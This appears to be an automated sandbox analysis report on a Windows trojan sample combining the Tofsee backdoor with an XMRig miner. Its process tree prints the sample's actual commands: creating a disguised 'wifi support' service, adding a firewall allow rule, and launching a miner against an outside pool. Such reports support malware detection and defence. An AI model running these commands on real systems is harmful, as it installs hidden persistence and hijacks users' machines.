Overview

overview

10

Static

static

7ba4e5b369...03.exe

windows7_x64

10

7ba4e5b369...03.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    06/10/2021, 02:41

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General

  • Target
    7ba4e5b36918df76bcc8c7cf2e947103.exe
  • Size 261KB
  • Sample211006-c6e7hsagdr
  • SHA256 c435370f4280e6371b76596fcb54dbc8be0c59e501e96a74ff87c05721803721
  • MD5 SHA1 SHA512
Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ba4e5b36918df76bcc8c7cf2e947103.exe
    "C:\Users\Admin\AppData\Local\Temp\7ba4e5b36918df76bcc8c7cf2e947103.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kolbunhy\
      2⤵
        PID:364
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vkxtfexj.exe" C:\Windows\SysWOW64\kolbunhy\
        2⤵
          PID:1160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kolbunhy binPath= "C:\Windows\SysWOW64\kolbunhy\vkxtfexj.exe /d\"C:\Users\Admin\AppData\Local\Temp\7ba4e5b36918df76bcc8c7cf2e947103.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1408
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description kolbunhy "wifi internet conection"
            2⤵
              PID:1780
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start kolbunhy
              2⤵
                PID:2168
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2640
              • C:\Windows\SysWOW64\kolbunhy\vkxtfexj.exe
                C:\Windows\SysWOW64\kolbunhy\vkxtfexj.exe /d"C:\Users\Admin\AppData\Local\Temp\7ba4e5b36918df76bcc8c7cf2e947103.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2488
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3984
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3148

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/664-115-0x0000000000400000-0x000000000044E000-memory.dmp
                    Download

                    memory/664-114-0x00000000001C0000-0x00000000001D3000-memory.dmp
                    Download

                    memory/2488-128-0x0000000000400000-0x000000000044E000-memory.dmp
                    Download

                    memory/3148-129-0x00000000030B0000-0x00000000031A1000-memory.dmp
                    Download

                    memory/3148-134-0x00000000030B0000-0x00000000031A1000-memory.dmp
                    Download

                    memory/3984-124-0x0000000002FE0000-0x0000000002FF5000-memory.dmp
                    Download